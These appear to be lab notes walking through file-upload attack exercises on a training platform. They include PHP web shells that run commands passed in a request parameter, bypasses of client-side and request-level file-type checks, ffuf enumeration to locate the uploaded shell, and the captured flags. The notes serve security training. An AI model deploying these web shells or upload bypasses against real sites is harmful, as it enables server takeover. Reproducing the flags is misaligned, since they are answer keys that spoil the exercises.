FILE UPLOAD ATTACKS
ABSENT VALIDATION
Try to upload a PHP script that executes the (hostname) command on the back-end server, and submit the first word of it as the answer.
#determine the language the webapp runs on
root@oco:~$ BROWSER > {targetSite:port} > wappalyzer
* JavaScript Libraries: JQuery 2.1.3
#test whether you can upload a file with the same extension
root@oco:~$ nano test.php
<?php echo "test";?>
root@oco:~$ BROWSER > {targetSite:port} > upload
* File successfully uploaded
* this means that the web application has no file validation on the back-end
#
root@oco:~$ nano fua.php
<?php system('hostname', $hostnameValue); echo $hostnameValue;?>
root@oco:~$ BROWSER > {targetSite:port} > upload
root@oco:~$ BROWSER > {targetSite:port}/uploads/fua.php
* ng-53539-fileuploadsabsentverification-4wbed-595d9cf54c-xwx95 0UPLOAD EXPLOITATION
Try to exploit the upload feature to upload a web shell and get the content of /flag.txt
#determine the language the webapp runs on
root@oco:~$ BROWSER > {targetSite:port} > wappalyzer
* JavaScript Libraries: JQuery 2.1.3
#test whether you can upload a file with the same extension
root@oco:~$ nano test.php
<?php echo "test";?>
root@oco:~$ BROWSER > {targetSite:port} > upload
* File successfully uploaded
* this means that the web application has no file validation on the back-end
#
root@oco:~$ nano phpShell.php
<?php system($_REQUEST['cmd']); ?>
* this uses the system() function to execute system cmds and prints their output
- it then passes the output to the cmd parameter with $_REQUEST['cmd']
root@oco:~$ BROWSER > {targetSite:port} > upload
#usage
root@oco:~$ BROWSER > {targetSite:port}/uploads/shell.php > CTRL+U
view-source:http://94.237.53.203:54323/uploads/phpShell.php?cmd=cat /flag.txt
* HTB{g07_my_f1r57_w3b_5h3ll}
* try using the source code view [CTRL+U] when executing these
* the source-view shows the command output as it would be shown in the terminal, without any HTML renderingCLIENT-SIDE VALIDATION
Try to bypass the client-side file type validations in the above exercise, then upload a web shell to read /flag.txt (try both bypass methods for better practice)
Method 1:
root@oco:~$ BROWSER > {targetSite:port} > CTRL+SHIFT+C > click on the profile image/browse upload button
* this opens the dev page inspector and will highlight the HTML file input
- <input type="... accept=".jpg,.jpeg,.png"> == $0
- can change this to "All Files"
#read how the upload validates the file upload
#the validation occurs in if(validate()){upload()}
root@oco:~$ BROWSER > {targetSite:port} > Console (CTRL+SHIFT+K)
> validate()
function validate() {
var file = $("#uploadFile")[0].files[0];
var filename = file.name;
var extension = filename.split('.').pop();
if (extension !== 'jpg' && extension !== 'jpeg' && extension !== 'png') {
$('#error_message').text("Only images are allowed!");
File.form.reset();
$("#submit").attr("disabled", true);
return false;
}
else {
return true;
}
}
* The key thing from this function is where it checks whether the file extension
is an image, and if it is not, it prints the error message
(Only images are allowed!) and disables the Upload button
Modification: Method 1 - rewrite the JS Code to accept php files
if (... && extension !== 'php')
* save the via CTRL+S to affect change then hit the upload button
Modification: Method 2 - replace the validation <form action="... onsubmit="if(validate()){upload()}">
onsubmit="window.location.reload()"
* to affect change, hit the upload button
root@oco:~$ BROWSER > http://94.237.62.166:38499/profile_images/phpShell.php?cmd=id
* HTB{cl13n7_51d3_v4l1d4710n_w0n7_570p_m3}Method 2:
root@oco:~$ nano phpShell.php
<?php system($_REQUEST['cmd']); ?>
* this uses the system() function to execute system cmds and prints their output
- it then passes the output to the cmd parameter with $_REQUEST['cmd']
root@oco:~$ burpsuite
root@oco:~$ BROWSER > FoxyProxy > Burp
root@oco:~$ BURP SUITE > Proxy > Intercept is on
root@oco:~$ BROWSER > {targetSite:port}
upload field: {select image to upload}
* submit the expected user input
BURP > Proxy > Intercept > Raw
Request
...
------WebKitFormBoundary6f8Db2bmnpKY9rBp
Content-Disposition: form-data; name="uploadFile"; filename="test.jpg"
Content-Type: image/jpeg
...encoded blurb content of test.jpg...
...
------WebKitFormBoundary6f8Db2bmnpKY9rBp--
Modification
------WebKitFormBoundary6f8Db2bmnpKY9rBp
Content-Disposition: form-data; name="uploadFile"; filename="phpShell.php"
Content-Type: image/jpeg
* delete the encoded blurb specific to "test.jpg"
* add in the contents of the php web shell <?php system($_REQUEST['cmd']); ?>
- the web shell must be in the same directory where the test.jpg file is located
* may also modify the Content-Type of the uploaded file to
- application/x-www-form-urlencoded --> verify
------WebKitFormBoundary6f8Db2bmnpKY9rBp--
Response
...
no errors means the back-end server took the uploaded web shell
# Directory & FILE enumeration using FFUF
root@oco:~$ find / -iname directory-list* -type f 2>/dev/null
* /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
root@oco:~$ cp /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt .
root@oco:~$ BROWSER > {targetSite:port}
* review the source code to get an idea of where the images will be stored
- /profile_images/
root@oco:~$ nano directory-list-2.3-small.txt
profile_images
phpShell
root@oco:~$ ffuf -w directory-list-2.3-small.txt:FUZZ -u http://94.237.62.166:38499/FUZZ -recursion -recursion-depth 1 -e .php -v -ic -t 100 -mc 200
* the -recursion flag enables recursive scanning
* the -recursion-depth flag specifies the depth of the recursive scan
- this cmd specifically fuzzes the main directories and their subdirectories
* the -e flag specifies the extension
* the -v flag signifies verbose which outputs the full URL
* the -ic flag removes wordlist comments
* -mc 200 means to match using HTTP status code of 200 OK
* identified /profile_images/
#find where the phpShell was stored in the backend server
root@oco:~$ sudo nano findMyWebShell.txt
phpShell
* enter the filename of your reverse shell
root@oco:~$ cat findMyWebShell.txt
phpShell
# FILE ENUMERATION USING FFUF
root@oco:~$ ffuf -w findMyWebShell.txt -u http://94.237.62.166:38499/profile_images/FUZZ -e .php -mc 200
* ALT: CTRL+SHIFT+C then click on the profile image. the URL where the web shell was uploaded will be displayed
#usage
root@oco:~$ BROWSER > {targetSite:port}/profile_images/phpShell.php?cmd=id
* try using the source code view [CTRL+U] when executing these
* the source-view shows the command output as it would be shown in the terminal, without any HTML rendering
* HTB{cl13n7_51d3_v4l1d4710n_w0n7_570p_m3}BLACKLIST FILTERS
Try to find an extension that is not blacklisted and can execute PHP code on the web server, and use it to read "/flag.txt"
WHITELIST FILTERS
The above exercise employs a blacklist and a whitelist test to block unwanted extensions and only allow image extensions. Try to bypass both to upload a PHP script and execute code to read "/flag.txt"
TYPE FILTERS
The above server employs Client-Side, Blacklist, Whitelist, Content-Type, and MIME-Type filters to ensure the uploaded file is an image. Try to combine all of the attacks you learned so far to bypass these filters and upload a PHP file and read the flag at "/flag.txt"
LIMITED FILE UPLOADS
The above exercise contains an upload functionality that should be secure against arbitrary file uploads. Try to exploit it using one of the attacks shown in this section to read "/flag.txt"
Last updated